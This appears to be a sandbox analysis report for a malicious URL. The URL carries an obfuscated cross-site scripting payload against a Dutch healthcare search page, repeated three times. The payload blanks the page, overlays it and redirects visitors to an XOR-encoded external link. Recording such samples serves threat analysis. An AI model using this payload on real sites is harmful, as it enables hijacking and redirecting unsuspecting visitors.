hxxps://zorgselect[.]nl/zoeken?q=%22%3E%7CCryptography%20menu[.]get%3D~mime~%20%C2%A7intelligence[.]start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~)[.]reality%20onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location[.]reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20menu[.]get%3D%60mime%60%20library[.]start(%60await%60)%20lib%C2%A7%20process%C2%A7(%60start%60)[.]load%20arch[.]hand()%20folder[.]setElementByCode(%60socar%60)%C2%A7%20contact(%60r%60%2C%605%60)%20%C2%A7connect%3D%60hola%60[.]fix()%22%3E%3Ciframe%20src%3Djavascript%3A%2F*fd7%C2%A7ljj%5Bljj[.]attol1%5Dkhalfyacoleur%C2%A7blanch*%2FcodeString%3D%60win%60%2B%60dow[.]par%60%2B%60ent[.]docu%60%2B%60ment[.]docu%60%2B%60mentEle%60%2B%60ment[.]st%60%2B%60yle[.]opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C73%2C95%2C94%2C94%2C4%2C70%2C83%2C5%2C71%2C93%2C76%2C97%2C107%2C122%2C89%2C19%5D%3B%2F*that%5B~7el~%5D(setInterval%2C~_hara~)laard%C2%A73000zblaalo%C2%A73000zb*%2Fwin%60%2B%60dow[.]par%60%2B%60ent[.]loca%60%2B%60tion[.]hr%60%2B%60ef%3Durl[.]map(value%3D%60%2BString[.]fromCharCode(62)%2B%60String[.]fromCharCode(value%5E42))[.]jo%60%2B%60in(%27%27)%3B%2F*chw%C2%A7%C2%A7%C2%A7chw[.]toUpUpDown()*%2F%60%3BcodeString%3DcodeString[.]replaceAll(%60salooa%60%2C%60azefcr%60)%3BexecuteCode%3DFunction(codeString)%3B%2F*that%5B~ovrir~%5D(sessionStorage%2C~_selve~)sleep[.]over%C2%A7*%2FexecuteCode()%3B%2F*%C2%A7max[.]do()*%2F%3E%3C%2Fiframe%3E%3Cspan%20style%3D%60display%3Ablock%3Bposition%3Afixed%3Bz-index%3A997483649%3Btop%3A0%3Bleft%3A0%3Bwidth%3A2000px%3Bheight%3A2000px%3Bbackgroundcolor%3Awhite%3B~%3E%3C%2Fspan%3E%7CCryptography%20menu[.]get%3D~mime~%20%C2%A7intelligence[.]start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~)[.]reality%20arch[.]learning()onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location[.]reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20folder[.]setElementByCode(~socar~ar~)

Sharing

Behavioral task

behavioral1

Sample

https://zorgselect.nl/zoeken?q=%22%3E%7CCryptography%20menu.get%3D~mime~%20%C2%A7intelligence.start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~).reality%20onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location.reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20menu.get%3D%60mime%60%20library.start(%60await%60)%20lib%C2%A7%20process%C2%A7(%60start%60).load%20arch.hand()%20folder.setElementByCode(%60socar%60)%C2%A7%20contact(%60r%60%2C%605%60)%20%C2%A7connect%3D%60hola%60.fix()%22%3E%3Ciframe%20src%3Djavascript%3A%2F*fd7%C2%A7ljj%5Bljj.attol1%5Dkhalfyacoleur%C2%A7blanch*%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C73%2C95%2C94%2C94%2C4%2C70%2C83%2C5%2C71%2C93%2C76%2C97%2C107%2C122%2C89%2C19%5D%3B%2F*that%5B~7el~%5D(setInterval%2C~_hara~)laard%C2%A73000zblaalo%C2%A73000zb*%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map(value%3D%60%2BString.fromCharCode(62)%2B%60String.fromCharCode(value%5E42)).jo%60%2B%60in(%27%27)%3B%2F*chw%C2%A7%C2%A7%C2%A7chw.toUpUpDown()*%2F%60%3BcodeString%3DcodeString.replaceAll(%60salooa%60%2C%60azefcr%60)%3BexecuteCode%3DFunction(codeString)%3B%2F*that%5B~ovrir~%5D(sessionStorage%2C~_selve~)sleep.over%C2%A7*%2FexecuteCode()%3B%2F*%C2%A7max.do()*%2F%3E%3C%2Fiframe%3E%3Cspan%20style%3D%60display%3Ablock%3Bposition%3Afixed%3Bz-index%3A997483649%3Btop%3A0%3Bleft%3A0%3Bwidth%3A2000px%3Bheight%3A2000px%3Bbackgroundcolor%3Awhite%3B~%3E%3C%2Fspan%3E%7CCryptography%20menu.get%3D~mime~%20%C2%A7intelligence.start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~).reality%20arch.learning()onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location.reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20folder.setElementByCode(~socar~ar~)

Resource

win10v2004-20230703-en

windows10-2004-x64

7 signatures

150 seconds

General

Target

https://zorgselect.nl/zoeken?q=%22%3E%7CCryptography%20menu.get%3D~mime~%20%C2%A7intelligence.start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~).reality%20onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location.reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20menu.get%3D%60mime%60%20library.start(%60await%60)%20lib%C2%A7%20process%C2%A7(%60start%60).load%20arch.hand()%20folder.setElementByCode(%60socar%60)%C2%A7%20contact(%60r%60%2C%605%60)%20%C2%A7connect%3D%60hola%60.fix()%22%3E%3Ciframe%20src%3Djavascript%3A%2F*fd7%C2%A7ljj%5Bljj.attol1%5Dkhalfyacoleur%C2%A7blanch*%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C73%2C95%2C94%2C94%2C4%2C70%2C83%2C5%2C71%2C93%2C76%2C97%2C107%2C122%2C89%2C19%5D%3B%2F*that%5B~7el~%5D(setInterval%2C~_hara~)laard%C2%A73000zblaalo%C2%A73000zb*%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map(value%3D%60%2BString.fromCharCode(62)%2B%60String.fromCharCode(value%5E42)).jo%60%2B%60in(%27%27)%3B%2F*chw%C2%A7%C2%A7%C2%A7chw.toUpUpDown()*%2F%60%3BcodeString%3DcodeString.replaceAll(%60salooa%60%2C%60azefcr%60)%3BexecuteCode%3DFunction(codeString)%3B%2F*that%5B~ovrir~%5D(sessionStorage%2C~_selve~)sleep.over%C2%A7*%2FexecuteCode()%3B%2F*%C2%A7max.do()*%2F%3E%3C%2Fiframe%3E%3Cspan%20style%3D%60display%3Ablock%3Bposition%3Afixed%3Bz-index%3A997483649%3Btop%3A0%3Bleft%3A0%3Bwidth%3A2000px%3Bheight%3A2000px%3Bbackgroundcolor%3Awhite%3B~%3E%3C%2Fspan%3E%7CCryptography%20menu.get%3D~mime~%20%C2%A7intelligence.start(~dispatchEvent~)%20lib%20%C2%A7computing(~start~).reality%20arch.learning()onUpdated%C2%A7%7C%20Blockchain%C2%A7%20gif~%20location.reload()%C2%A7%20web%22%20rsc%60%20door(%20remake%3D%20redo)%C2%A7%20onstart_%20attitudelocal_marine%C2%A7%20folder.setElementByCode(~socar~ar~)

Sharing

General

Malware Config

Signatures

Files